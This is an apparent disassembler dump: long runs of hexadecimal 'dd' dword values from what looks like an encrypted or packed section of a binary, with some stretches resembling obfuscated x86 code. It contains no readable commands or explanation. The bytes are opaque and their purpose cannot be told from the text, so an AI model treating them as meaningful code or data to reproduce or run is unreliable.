dd 0ECB137EDh, 8FA0485Bh, 90F0DC12h, 737EC64Fh, 6C10E44Ah
dd 0CCEDA836h, 824A4C0Bh, 0A3F8E178h, 915544DDh, 0E9A3146Eh
dd 0E39A842Fh, 0DE000007h, 9246577Ch, 0E799029Fh, 88504D48h
dd 0E2960790h, 464D4E4Bh, 0BDDC5535h, 960318E0h, 0C0DD5305h
dd 900925DBh, 3B69250Bh, 12FB8491h, 47735885h, 6EF2AB2Eh
dd 13B8E5F2h, 6B76EB15h, 65F00488h, 7948A52h, 1C9DE5E9h
dd 0A9789EAh, 3F5D65E7h, 0B05C98BEh, 29E23F2h, 0F7D7D915h
dd 0E83A95C7h, 508E3D3Bh, 1300EB6Ah, 3EB6385Eh, 316F1BBFh
dd 1300EB8Bh, 79D597Fh, 1300EBC1h, 18312382h, 92854FB5h
dd 0DCB2h, 2B47E100h, 58D143AEh, 6F22B241h, 0C11C3641h
dd 0F16734ADh, 2468647Dh, 363E347Eh, 1EAE301Ch, 363E3A80h
dd 4CA82E1Ch, 0B76F3AC5h, 65068917h, 0BC041503h, 2E00B7A5h
dd 0D951AFB8h, 687E34C0h, 890BE6F3h, 1EA93667h, 0B8428646h
dd 38BC37A0h, 0DBB926BCh, 3BC50BCCh, 0CF15B924h, 1C339BE5h
dd 8937BFE1h, 53A10C39h, 0A37B5158h, 0B3903070h, 0E6E60814h
dd 903C5DD4h, 21CA63Ch, 0DC541C34h, 0EB438BBh, 0DAFF7688h
dd 8C619517h, 0AAFDDAA2h, 2F23B624h, 0BDDC55C7h, 0A316EC29h
dd 4832B1E9h, 6B6h, 752683B1h, 2A736E03h, 7F1CB9B6h, 237861F9h
dd 0C8D5C45Dh, 55CCBECBh, 8AA15744h, 54CA8E0Fh, 8EA25647h
dd 0E8A48C11h, 0FB8410BAh, 0F4D70412h, 0F2AB2E47h, 0B8E5F26Eh
dd 72EB1513h, 15DCF977h, 12965D93h, 0EBF468E2h, 0DD989408h
dd 3641FDC7h, 0F9F7F91Ch, 41FEC0A4h, 0D0FC1C36h, 3641A812h
dd 5B44D81Ch, 24AF4769h, 0CF15B991h, 150CF886h, 0CAF5687Eh
dd 0FB87AE14h, 0EA04AA12h, 0FA04C804h, 37D7966h, 0B729726Fh
dd 48D31EBBh, 7B29A57Dh, 0BC8A270h, 71985424h, 8FF70ABFh
dd 0BF4E8561h, 0A44FE9AFh, 60DBAh, 8D2A0800h, 0CCD54810h
dd 8B1609CFh, 0C1D64E12h, 8C0D24DCh, 9377040Fh, 0DA9EFF9Ah
dd 91475441h, 0E799029Fh, 5B4D4E4Bh, 82476D33h, 924312FBh
dd 0AE2B4731h, 51D9F43h, 72EE6094h, 61A8E65h, 49E65A99h
dd 0DD23A54Ch, 0AF9D5445h, 9173765Eh, 89A55044h, 0E7A38B10h
dd 364213B9h, 0AE2B431Ch, 0ED03C143h, 6F876970h, 4FF97ECFh
dd 7E989h, 0D1AA0000h, 185h, 41A52B02h, 0E9BC1C36h, 0A3BF2A41h
dd 0B739BB36h, 0CE14B83Ch, 1C3641E4h, 9C30BEE0h, 4552CEF0h
dd 3641159Fh, 3F851B1Ch, 3B1C3641h, 6D890FB5h, 0F81523C1h
dd 5929150Ch, 8B05E6DAh, 0BA12DC08h, 1BB32C40h, 0A42D5163h
dd 0E80C2B97h, 0D8D14D13h, 37975946h, 0C62DACC5h, 0A02BB242h
dd 0C9D04D15h, 18BDB62Ah, 579957D9h, 0A8826977h, 70760BC8h
dd 0B0037574h, 0E1C968E9h, 51Ah, 19822715h, 0CECFCA67h
dd 1388150Ah, 0D7C4D54Dh, 0C910821h, 99907A0Fh, 4EE59B00h
dd 908E524Bh, 4AE69A03h, 3458504Dh, 0FB81446Eh, 30934012h
dd 43AE2B47h, 0A559DF9Fh, 9E37C94h, 0E2FF73EDh, 4034A10Fh
dd 0FDE47983h, 88272F6h, 20128B14h, 895075EDh, 0C7Ah, 0B1AA5400h
dd 0D131D024h, 0A5h, 0D39B2E02h, 1FAF415Ch, 0CF7E281h
dd 0BC109615h, 0ECB12E42h, 38A1B842h, 0C12E42BCh, 34BF31A8h
dd 88441CA7h, 1BDBF876h, 3DFF316Fh, 0EDF30BD2h, 6643DFE1h
dd 0DC02CACFh, 1C3641D6h, 7922CCD2h, 0AB362BD5h, 36BEDB55h
dd 0C42FA8C4h, 18B46C37h, 348778Ah, 0FC758715h, 176B19DDh
dd 84898352h, 0DF07E951h, 0F2D618D8h, 47745E05h, 42000004h
dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh
dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh
dd 12FB80E5h, 0D10FB4E1h, 0F5h, 0C39B2E02h, 0F896D50Bh
dd 5C82150Ch, 0C5D24E70h, 930C20D8h, 8C0D360h, 3E081EC4h
dd 62260BD2h, 3641763Ch, 886C721Ch, 6F8D4DAh, 0A8306D6Ah
dd 3BC82BB4h, 861CB068h, 15034873h, 66875F81h, 77F2D563h
dd 3C802ECh, 91C30000h, 7CF16734h, 0AFC03865h, 7FF76932h
dd 0A6BF415Ah, 0D8B16A33h, 0FD9E3B32h, 0A8F5E07Bh, 0FCA13E30h
dd 0AEEFE884h, 0A60CD2FAh, 0A212FB80h, 2B47D2F1h, 0EB9F43AEh
dd 36420FB5h, 11E50B1Ch, 0DB16839Fh, 0F34206Dh, 419F25BBh
dd 5BD71C36h, 9262843Eh, 29B0418h, 4FF9FD50h, 4B6A89h
dd 2E290000h, 0D50BC39Bh, 15030DF1h, 0F10BC3E5h, 96D9357Eh
dd 0A58E5600h, 0ECB5FFh, 0C12FB113h, 0E7CE6E2Fh, 191300ECh
dd 47FF9C05h, 0E5FBBCB5h, 1300ECDFh, 0D81BD5DBh, 312EA054h
dd 0D9A94DA4h, 6BC50F9Ah, 5038BC5Eh, 31Eh, 0AC294781h
dd 205FD345h, 36413882h, 44AA2C1Ch, 148DA157h, 0BCF76BDDh
dd 617FEF28h, 9834BA1Dh, 1104AEF4h, 0DE001C36h, 13A64116h
dd 0F269933Bh, 6C880CE7h, 333B22C0h, 0AF311503h, 2B12B444h
dd 2C421301h, 0B6CD7B81h, 0E608E67Fh, 1A87990Bh, 8FC69D7h
dd 1E6A246Dh, 1143A80h, 0A4B82E13h, 0D34BB53Bh, 0F3E12EC6h
dd 4C4DE4D6h, 2AC508A8h, 2CA29285h, 0EC000000h, 0B2415ED2h
dd 2E27C62Eh, 0D50BC39Bh, 1503724Ah, 3BC928AEh, 13011195h
dd 0E4E5CF56h, 928529A9h, 0B3263FC1h, 0F49443h, 47F30000h
dd 35A2BE2Bh, 0ADC438BBh, 3FB2273Ch
dd 41BF059Bh, 35BB1C36h, 18BE35BBh, 1EC1DF68h, 65915208h
dd 876A77EBh, 1B801915h, 36005A49h, 0BEE4A81Ch, 1C35FFF4h
dd 9406EEF0h, 2DCFFF98h, 7826A633h, 1C35FF52h, 7754A046h
dd 7D746D01h, 0DFEFA7F2h, 32CA6C1h, 0D11C6415h, 0BCD952A6h
dd 0E9897C04h, 4C51570Dh, 4242287Bh, 7B91712Ah, 0CC00EEh
dd 2EAC16CCh, 6A81301h, 0E2CF60EEh, 0C3E50BCCh, 6178F10Bh
dd 2CADC43Ch, 0A2FE4BB8h, 0E7CF52E9h, 1E6h, 455673E1h
dd 9A039E93h, 4F4C49E6h, 93089189h, 584554CDh, 0C55C2E5Bh
dd 1A11C7D4h, 0C45A1E7Fh, 1E12C6D7h, 58341C81h, 0FB7E804Ah
dd 64677412h, 597D2E47h, 30FF90C2h, 1011B94Eh, 0A14F45EEh
dd 968A4E4Fh, 273BC509h, 4D9337BAh, 1C363467h, 1BB33D63h
dd 36343F85h, 41B53B1Ch, 9B2EC76Ch, 4AD50BC3h, 0B8150372h
dd 8E07AC14h, 8968F3Eh, 0B5F0DAh, 5DD2E413h, 9846AE40h
dd 6B4DDB16h, 2C1300B5h, 0BB12CBB9h, 0AC928585h, 0BAh
dd 2BB915DBh, 1C3641A1h, 69E31395h, 0AE14CAF5h, 0AA1C3641h
dd 0D8E2EA04h, 169D5946h, 0E30E8BA2h, 36414655h, 6572EE1Ch
dd 33ACC038h, 0A86033C0h, 6ADF7E24h, 13951503h, 0DFD03BBh
dd 13DEFB76h, 10483191h, 0DB6C41B5h, 26BC10C8h, 0BCBF3E0h
dd 0C8F2B0D4h, 0BC1C33F3h, 0C8F8D41Ah, 0F2BA5D83h, 0F3975F4Ch
dd 854950C9h, 0F7FAE77Bh, 34AC8175h, 25B2AC3Dh, 0DCA61BCBh
dd 6CF7E9A2h, 0D582h, 4562D000h, 148DA058h, 435ED187h
dd 98EA65Ah, 4455CC94h, 5B2F5C57h, 12C6D7C2h, 591F7C19h
dd 3FC1DAC7h, 43E5B623h, 7D6F558Bh, 3A6B12FBh, 0AB2E4799h
dd 0E5F26EF2h, 2B4713B8h, 0C130A5BEh, 0CE42B13Fh, 4E631752h
dd 0C53B4CBAh, 4BC722Bh, 0A2BF5336h, 8838BC37h, 64FD1080h
dd 0F4FA7E75h, 6A227500h, 0E7562662h, 577D32B5h, 0E55CF202h
dd 0D150C40h, 43C114B5h, 43BD6D64h, 0C044AF2Ah, 99587E34h
dd 0D8E0B27h, 119CD74Bh, 6AFE54F6h, 0D9753F65h, 6F7112FBh
dd 0F4846F81h, 5A6A6BE1h, 0E4977DE0h, 7D7F4F48h, 861308E1h
dd 29AF8C68h, 0A145AC35h, 0A02551E1h, 7F773026h, 6D84150Dh
dd 53260E7Fh, 415ED2DFh, 0F66AEEAFh, 3200AE9h, 71000000h
dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh
dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 835D2AC9h
dd 348904ECh, 81E68924h, 4C6h, 4EE8300h, 5C243487h, 5E08950h
dd 4, 42Dh, 24048700h, 241C895Ch, 652F68h, 24148900h, 3ABB1868h
dd 241C8B09h, 5404C483h, 8324148Bh, 0D56804C4h, 89000002h
dd 428F241Ch, 2434FF08h, 4C4835Ah, 5B2434FFh, 4C481h, 1E90000h
dd 0A1FFFAB9h, 0C20178D7h, 0B8A995CEh, 93AC571h, 0E0FFC503h
dd 0FA71C37h, 41C2DBA5h, 13E5676Fh, 46150224h, 4C9EFCD9h
dd 3B5C1632h, 600C018Eh, 0EF20E2Dh, 6BBB61C1h, 5D85CB17h
dd 5968BCA2h, 4467EA1h, 735E364Ah, 1935BA6Dh, 7BE27E1Eh
dd 143819CAh, 25C9B5E2h, 213862FDh, 53A58E9Eh, 36AE7B28h
dd 37F000B1h, 3BEC62CEh, 6BD929CAh, 7BF2E5B2h, 4A97404Fh
dd 3A3020E6h, 286FDD6h, 450F8D76h, 5161D803h, 0DE9C08Bh
dd 0CF000000h, 286AC9Ah, 4A469DB8h, 0C8B439ECh, 26A1BD83h
dd 75000935h, 79BD8309h, 93530h, 53501974h, 0FCB8C08Bh
dd 89000003h, 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h
dd 353079BDh, 17740009h, 0FCB85350h, 89000003h, 352AC185h
dd 279D8D09h, 0FF0937B1h, 6A585BD3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0BA1AC350h
dd 0F37D3DCh, 289h, 8B12B700h, 55006AC0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 1F889FFBh
dd 19BD836Eh, 109351Ch, 63840Fh, 0B70F0000h, 0BDBD83D7h
dd 9350Fh, 53850Fh, 13E90000h, 87000000h, 0B9AF283Ch, 0D4CB8056h
dd 70BB4E91h, 12F810A0h, 0BD835A43h, 9352365h, 94840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 1B78C357h, 8156C2C8h, 0AEB855D2h
dd 0E8B65A7Eh, 4BDB8166h, 44FE9C8h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 950667C3h
dd 5A5051B1h, 0CED28166h, 80h, 0D0B70F00h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 46C35545h, 0DBAC85F1h
dd 820FC85Ah, 0Bh, 58F0Fh, 81660000h, 1A94F7E3h, 0F1F7AB7Fh
dd 0B03FDFC3h, 0F23FB622h, 0BA6295CAh, 98533C97h, 7A7B34CEh
dd 2F3FA1CEh, 546AF0CAh, 9A84D377h, 0C8BA38FBh, 0D368D86h
dd 79BDBA1Ah, 553FB5CAh, 5E3FB0F4h, 2F3FB223h, 0F30C88CAh
dd 22A0D7FFh, 0E53F5D9Fh, 7362B5CAh, 43F79127h, 0EC3FDFC3h
dd 5E3FB622h, 0EC6795CAh, 0B37B3C92h, 0EF7B34CEh, 0E53FACCEh
dd 316FF5CAh, 0C0A129BAh, 0AFD6AE5Dh, 373FB5CAh, 8A3CCF5Ah
dd 0BBC2CD69h, 0AACD512Ah, 0E7AA045Bh, 0D58C212Fh, 9168B5A0h
dd 0BC3FB5C9h, 1FCEAEAh, 2B1BC943h, 931BF14Bh, 0CB3FB5D7h
dd 9CFCE28Dh, 3437FC58h, 68F1B334h, 554E03FCh, 5E3FB5DEh
dd 0B20781F8h, 1D28CC0Ch, 0E63CBF0h, 5D10AD38h, 0B9023FCAh
dd 0FB307541h, 0BC3FB5C2h, 5E3D31C5h, 4E5FB5CAh, 97355C9Ah
dd 0E0B5CAh, 0B46B781Fh, 91472C6Fh, 2F1BB143h, 0E7E75A4Ah
dd 85FD3598h, 633EBA91h, 9DD64BEEh, 0FD3FB5CAh, 0FE565E62h
dd 0D3352E1h, 6AD6ED76h, 2A3FB5CAh, 0C435F14Ch, 4F8DE0D3h
dd 0BF16DB11h, 0BACA26D8h, 0E93A3FE2h, 1B3FB5C8h, 793FB5CFh
dd 0EE714397h, 34373E1Bh, 2CD7E6CAh, 0B73FB5CAh, 42647691h
dd 643B9196h, 0EF3B918Eh, 3A3FB5CAh, 43E57699h, 3D9BDDB0h
dd 64BB615Ah, 972C3AC5h, 0C5D6B5CAh, 193FB5CAh, 0DC833946h
dd 0B6BF8F66h, 1300CEB8h, 5E375DFCh, 6E1AB5CAh, 0DB9A7744h
dd 0AD648696h, 1CC3FD41h, 4AE83EACh, 793FB5CBh, 2DE93EACh
dd 2B87D3AAh, 0A46FD4B2h, 9755241Dh, 0CB3C5D9Bh, 0BC1FB5CAh
dd 0BEB6EC09h, 3DBEB1EEh, 0BC26B1EEh, 0F7EB5CAh, 0EDC1DF09h
dd 98B345FFh, 0CB3FB64Bh, 0F4D035CAh, 98E639ACh, 7AD7E0CAh
dd 9C3FB5CAh, 0D7627697h, 0AE3B91A6h, 8E3B918Eh, 8E3FB5CAh
dd 2242769Fh, 0F023A020h, 79365C98h, 3A83B5CAh, 0B5DD1558h
dd 7434C8D1h, 973FBD23h, 7418FFCAh, 0A226B903h, 0F6FE4392h
dd 780E30C5h, 3E30B5CAh, 5E3FB5C6h, 2F393CC5h, 64BEB5CAh
dd 0E7BF24E6h, 0B53FDF93h, 0F23FB622h, 0BA6795CAh, 987B3C92h
dd 7A7B34CEh, 2F3FA0CEh, 546FF5CAh, 0C4D76A61h, 9B3FB5CAh
dd 1786D956h, 4210A413h, 3AB81DF8h, 57D62431h, 0A73FB5CAh
dd 0A6C453C0h, 0B09EE024h, 8D063591h, 0F30830C5h, 75D7B5CAh
dd 7B3FB5CAh, 0E9E6169Eh, 4BE7E225h, 0C0C2B1B2h, 91659179h
dd 0E53A5C9Dh, 3521B5CAh, 22EFA83Fh, 0D63ECC41h, 5DD7E5CAh
dd 0F3FB5CAh, 1E677692h, 4A3B918Eh, 0F13B918Eh, 0B23FB5CAh
dd 76B4769Ah, 0BC3FB94Eh, 58B5BACAh, 203FB5CAh, 973FB54Dh
dd 0CBC034CAh, 0EABFB5CAh, 0F23F6D48h, 2B3FDFCAh, 0BC3FB622h
dd 9D6595CAh, 0B6B3C90h, 0B37B34CEh, 0CB3FA1CEh, 266DF7CAh
dd 6DBA72E2h, 78368F0Dh, 0DA3FB5CAh, 0FB52574Bh, 2F3F4523h
dd 0C03FDFCAh, 0CB3FB622h
dd 266095CAh, 0D6433C95h, 5D7B34CEh, 0BC3FADCEh, 9D68F2CAh
dd 45EB7BB9h, 7EE73E9Fh, 0CB3FB54Bh, 0E52C5CAAh, 0F07BB5CAh
dd 753F9F34h, 17EDD74Ch, 53B39EC8h, 56C3A191h, 7DBED3F7h
dd 925ED94Eh, 0D6EB5A0h, 0F23FB5C9h, 20FCECEAh, 0B81BF943h
dd 5A1BF14Bh, 2F3FB5D2h, 0DFCE48Bh, 3A4E092Fh, 0EE4636ACh
dd 0C4BBBA35h, 763FB5CAh, 0BC3FB64Ch, 8F80BACAh, 0E8A0300Dh
dd 973EBCF0h, 0CB55B5CAh, 0E53C5D99h, 0A91FB5CAh, 25B6EE09h
dd 0F8BEB1EEh, 5E29B1EEh, 7C7CB5CAh, 0B8E3A309h, 52A75770h
dd 0E555FDB6h, 0F23C5D9Ch, 271FB5CAh, 0C8B6EB09h, 1ABEB1EEh
dd 2F26B1EEh, 0C179B5CAh, 0B8A92009h, 0D68E046h, 0F23FB5D9h
dd 0D1D2D879h, 9225A382h, 0D55B4C28h, 9584FD79h, 0C5676859h
dd 0F9BB0EACh, 836CEE91h, 8692674Bh, 0DAFE0C91h, 39B2A833h
dd 57057855h, 0E4DC0847h, 6F04BCF0h, 0C40FB2BEh, 0E787C1Bh
dd 0A284D33Fh, 2B3FDFBCh, 0BC3FB622h, 9D6595CAh, 0B6B3C90h
dd 0B37B34CEh, 0CB3FA9CEh, 266DF7CAh, 4519D09Dh, 59FE59F8h
dd 4FBF4923h, 47823662h, 2E3680D6h, 974F31C5h, 0CB55B5CAh
dd 0E53C5D9Bh, 0AB1FB5CAh, 35B6EC09h, 0F8BEB1EEh, 5E24B1EEh
dd 7E7EB5CAh, 0CD6CA509h, 0AE4B191Ah, 588236EFh, 0F23680C5h
dd 797F30C5h, 0BC55B5CAh, 5E3C5D9Fh, 721FB5CAh, 0FBB6E809h
dd 8FBEB1EEh, 0E523B1EEh, 0A77AB5CAh, 135C8309h, 5F851EA0h
dd 8DB57AB6h, 2F3C36C5h, 2830B5CAh, 0AE823618h, 0E53680E9h
dd 0F21231C5h, 0C259B5CAh, 3D66B6Ah, 343FB5CAh, 2CD7E0CAh
dd 0B73FB5CAh, 42627697h, 643B91A6h, 0EE3B918Eh, 3C3FB5CAh
dd 0F87F769Fh, 5620A756h, 0AC13F606h, 0A223AC77h, 4E30B4C3h
dd 0E53FB5E5h, 0C72D774Bh, 8C62F276h, 0BC2C5D09h, 53CEB5CAh
dd 957EAC24h, 0AB912AFBh, 0A09C6BCBh, 0C6E6929Eh, 14BF0F94h
dd 9065A946h, 0BC3FB5A8h, 3E102C5h, 0C76AB5A0h, 973FB5C9h
dd 96FCE8EAh, 0E11BD943h, 0F61BF14Bh, 793FB5DEh, 1BFCE08Fh
dd 5E2634C5h, 495FB5CAh, 7E2DAF70h, 0CB3FB5C4h, 69A51A39h
dd 0C1984298h, 0B20C3F9Ch, 735E7A13h, 0B66CB5A0h, 2F3FB5C9h
dd 0CCFCEEEAh, 0CF1BE943h, 0E11BF14Bh, 0F23FB5D0h, 18FCE689h
dd 76A3E9EDh, 0E3B288E2h, 26057213h, 5A533847h, 0D687BCF0h
dd 0D6448F96h, 0C716E04Fh, 0CF09EC3h, 0A833DAFEh, 785539B2h
dd 8475705h, 0BCF0E4DCh, 0B2BE6F04h, 7C1BC40Fh, 0E9830E78h
dd 83A4F305h, 3AC79FBDh, 0D740009h, 4C028D8Dh, 1B80935h
dd 0FF000000h, 6A40E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 0CF8F02C3h, 0AC06FC8Bh, 0BB255752h
dd 700252DEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 0E2C35646h, 0E614BA66h, 0FFEA7CBAh, 0F58A5118h
dd 2DE8835Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0BDC35646h, 12E88B77h, 37000000h, 39C401A2h, 5B83F19Ch
dd 0DAEDEF2h, 0FD374E55h, 0E3B25741h, 8B665B5Ah, 0D0B70FDEh
dd 3CBAC08Bh, 8354FFDCh, 3526A1BDh, 9750009h, 3079BD83h
dd 74000935h, 8B535019h, 3FCB8C0h, 85890000h, 9352CA9h
dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
dd 3FCB853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h
dd 0BF0F585Bh, 53006ADEh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 98EB699Bh, 0ABE1AA00h
dd 11E9E5ABh, 69000000h, 0A690E586h, 69CD28FAh, 6EC261A5h
dd 0A9FEF3F2h, 12E8C08Bh, 0B3000000h, 0D38C47Ah, 8B40E72Fh
dd 710952Fh, 11CF7530h, 0F18B66C5h, 81FA8A59h, 6BF0C1h
dd 0FFB70F00h, 1AC768h, 0BF665A00h, 18B23A1h, 8B0Fh, 0F0810000h
dd 77968CECh, 81F98B66h, 0B097EAC0h, 8CF08108h, 8013903Bh
dd 80500FCFh, 18FA1DFh, 17880Fh, 12E90000h, 70000000h
dd 44B415F2h, 0C2ED8F90h, 56F36A82h, 0A2491C4Ah, 19E98153h
dd 6671C95Ah, 0C181D88Bh, 71C95A15h, 6880F50h, 81000000h
dd 0F5CF4FCBh, 0EA835E7Ah, 26850F01h, 0F000000h, 118Dh
dd 0CE900h, 0E3000000h, 5433302h, 7C795DE5h, 28E9EFBDh
dd 3000000h, 0E9EAF33Eh, 0EEF2CBB6h, 0E6CB8190h, 0E9323DE5h
dd 0FFFFFF66h, 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 0B50980A4h
dd 8D3792C7h, 3AD08A8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0BD8B9FE5h, 9350BC1h
dd 16298D89h, 890F0935h, 6, 0B11FC381h, 85C75F5Dh, 935287Dh
dd 6C3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 7AC35343h, 281FF282h, 43C463B8h, 9D0160E4h, 93516A9h
dd 6820Fh, 860F0000h, 0
aAEu5 db 'aг┘U"5',9,0
dd 0E9000000h, 9, 38E924FFh, 0B2E0EAF8h, 79B5FF1Dh, 8909352Ch
dd 352E5D8Dh, 595FF09h, 6A09350Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C592C355h
dd 12E948E8h, 0DB000000h, 540E1925h, 9B2ABBD8h, 1A7A01C0h
dd 0F508EE3Ah, 0FF006A58h, 35082995h, 0EBC08B09h, 0CA68A029h
dd 44ED00Ch, 84894FFBh, 0C64472EEh, 0EE01EC72h, 91FD8765h
dd 8F1B8D35h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 0DE86438h
dd 0AF000000h, 0CB8056B9h, 0BB4E91D4h, 0F810A070h, 0C7815FFCh
dd 67D5h, 0A59D2960h, 6609351Eh, 0B961D78Bh, 19CCh, 78B79B3h
dd 4959D8Bh, 0C0810935h, 0F359B7Ah, 2FE68166h, 1BC081DCh
dd 8971767Ch, 350AC985h, 0C2C08109h, 0E9528468h, 6, 604CA9DBh
dd 0F5509635h, 9D09078Fh, 935064Dh, 3304EF83h, 35082195h
dd 1E98109h, 0F000000h, 1C85h, 0CD958B00h, 0E909352Fh
dd 28h, 7B650AB1h, 734ED958h, 0B2C91D24h, 0F1B0DCCh, 50BA6691h
dd 0FF8CE944h, 5BE0FFFFh, 7101F939h, 7FF3C99Ch, 828E018Ch
dd 98E9h, 9400h, 500h, 100h, 0A2800h, 200h, 20h dup(0)
dd 199F6000h, 0C11E91Eh, 7B680000h, 0E9093AD3h, 0FFFAACC4h
dd 3AD45E68h, 0ACBAE909h, 4068FFFAh, 0E9093AD5h, 0FFFAACB0h
dd 3AD59A68h, 0ACA6E909h, 0E168FFFAh, 0E9093AD6h, 0FFFAAC9Ch
dd 3AD73068h, 0AC92E909h, 4068FFFAh, 0E9093ADBh, 0FFFAAC88h
dd 3ADC6768h, 0AC7EE909h, 4DEFFFFAh, 0B0AD3368h, 73EC7429h
dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h
dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FB6Fh, 2B478645h
dd 5DD143AEh, 3D885744h, 9B256965h, 57D91885h, 644E119Fh
dd 9C421503h, 130FB155h, 0DE96B86h, 11B5177h, 0C1EA8113h
dd 652E0Ah, 688B65A9h, 955C7DF4h, 33361EFFh, 381D075Eh
dd 0A22B5B88h, 35C1A060h, 8531408Dh, 252792h, 2E680000h
dd 0BF0BC39Bh, 3EB6233Dh, 37265B0h, 0DE159B15h, 111684Eh
dd 0C8BC2913h, 8529BE0Fh, 0BBA992h, 47EA0000h, 0D143AE2Bh
dd 3EB24158h, 2EABC522h, 578D41C3h, 1C36416Dh, 4AA94769h
dd 603D5AD6h, 36458F7Ch, 148DA11Ch, 0AD2A46B8h, 5532C246h
dd 0DF128FA3h, 45894154h, 363D89Fh, 4FE4D615h, 0F2F4AA4Ah
dd 4F48E0DAh, 0A33C30A4h, 21BCB34Dh, 0D1A64ED2h, 0E3EBA3F6h
dd 0CCC813BDh, 0DC1E70Bh, 3E5F7AF3h, 0E408A3BAh, 0EADF1BA8h
dd 5D1B8C34h, 2AEFC56Ah, 10BF20C4h, 53DEE9A3h, 9F66Bh
dd 496ECC00h, 8918C54h, 4752CD93h, 0D8AA256h, 4851C890h
dd 57334853h, 1EE2BBDEh, 550B9005h, 1BDDBEDBh, 4F019A07h
dd 6E5B617Fh, 3E4F12FBh, 0AB2E477Dh, 0F5F26EF2h, 8955B7Eh
dd 959B2E23h, 3CBBF8Ch, 4E7E70BBh, 34A8590h, 7E757B15h
dd 0C6F3A8D8h, 0CA93654Ah, 539E3B34h, 298F25D1h, 0EA1300B2h
dd 7DD0897Bh, 0EA928588h, 0CFh, 802B47A9h, 2275FC8h, 0DEFB77DDh
dd 915F9113h, 2A42BC62h, 32C246ADh, 0B938A1B8h, 0A12BB915h
dd 951C363Fh, 648F0A23h, 58E60EE0h, 1C3643CBh, 0B3E8F16Dh
dd 49A8312Dh, 9B33EBBEh, 3628205h, 2B707615h, 7D51099Ch
dd 0CCC67A67h, 58747A0Bh, 5A812328h, 25BB2574h, 1C33889Fh
dd 1BDB159Bh, 0C5D44D6Fh, 900920D8h, 0A329E954h, 452DB4E9h
dd 913h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h
dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h
dd 0FB6D6852h, 8C2F5C12h, 847D2E47h, 3B9E3C9h, 5E58F5FCh
dd 758CEC62h, 922C227Bh, 6FF1009Dh, 90191587h, 4CF2019Eh
dd 357B2C96h, 6886281Ch, 47361586h, 32A7BE2Bh, 0AFC335BCh
dd 0CBDE6932h, 0ED0FBB13h, 0B8D6475h, 92D855EBh, 9A3C150Ch
dd 0B948832h, 0B229C92h, 62D8668Eh, 7912FB71h, 0B9297232h
dd 0CF625C94h, 599D1FD2h, 3B33FBCEh, 667C509Eh, 0BC883D3h
dd 815FBFE1h, 8FEEEEFEh, 2CA8215h, 3C232DDCh, 0CE25CB81h
dd 2E9E7641h, 1C119E70h, 804C527Ah, 0FBF6E37Eh, 258F5579h
dd 21886BE5h, 29D3777Fh, 69EFAC35h, 73F8ECF5h, 2A7D6ACCh
dd 8319F87h, 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh
dd 6A037526h, 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h
dd 0E2BB2438h, 0BA009EEEh, 0AE12FB6Ch, 9B2E9E1Dh, 58D50BC3h
dd 0BC150C93h, 7A5E4BECh, 806E7AE1h, 22BFB24Ch, 6F6A0779h
dd 831C1084h, 0DB452663h, 422CB7F2h, 7D7h, 712A8FADh, 366772EFh
dd 6B30ADC2h, 3F5C7DF5h, 6439A0B9h, 0F1682257h, 362DB3E8h
dd 0E886FAA3h, 322EB2EBh, 7C50F8A5h, 0FB6C5C66h, 884B5812h
dd 0BC39B2Eh, 0C9358D5h, 0B21ABC15h, 128B1408h, 0D8AA21Ch
dd 346A62E6h, 12FB708Eh, 590648Ah, 0B0EEDEAEh, 12FB70FEh
dd 7364FCF2h, 0DFE6767Dh, 1112FB70h, 0FE728118h, 8D374863h
dd 9ED84986h, 78F1A150h, 0B5A6D78Ch, 897BEA23h, 5044A1EEh
dd 8AE71677h, 545192h, 15820000h, 896875EBh, 4D64EF07h
dd 3593517Dh, 331C3641h, 0EA0A9789h, 0B13FB234h, 1C36420Fh
dd 3DB4213Fh, 0A74A57CBh, 7D786CB9h, 0A6A39114h, 73F228D6h
dd 0F46858EBh, 51F105EBh, 895047FCh, 116Bh, 0DCD11C00h
dd 0FD000001h, 41A913D1h, 0FB9D1C36h, 0A4954FBh, 0C804DCE7h
dd 5C983D36h, 553FF2B0h, 7F3F1503h, 0BCC2CF6Bh, 23D125B1h
dd 0F003968Dh, 0B04A826Ch, 4DCF22BFh, 7F6F55A9h, 9AAA670Eh
dd 5377570Fh, 2EE6D76Bh, 1ADAF45Dh, 63A89584h, 0B63D636Eh
dd 6C69E29h, 637C46D8h, 0CC12BA65h, 75A37BE6h, 9A32BCE2h
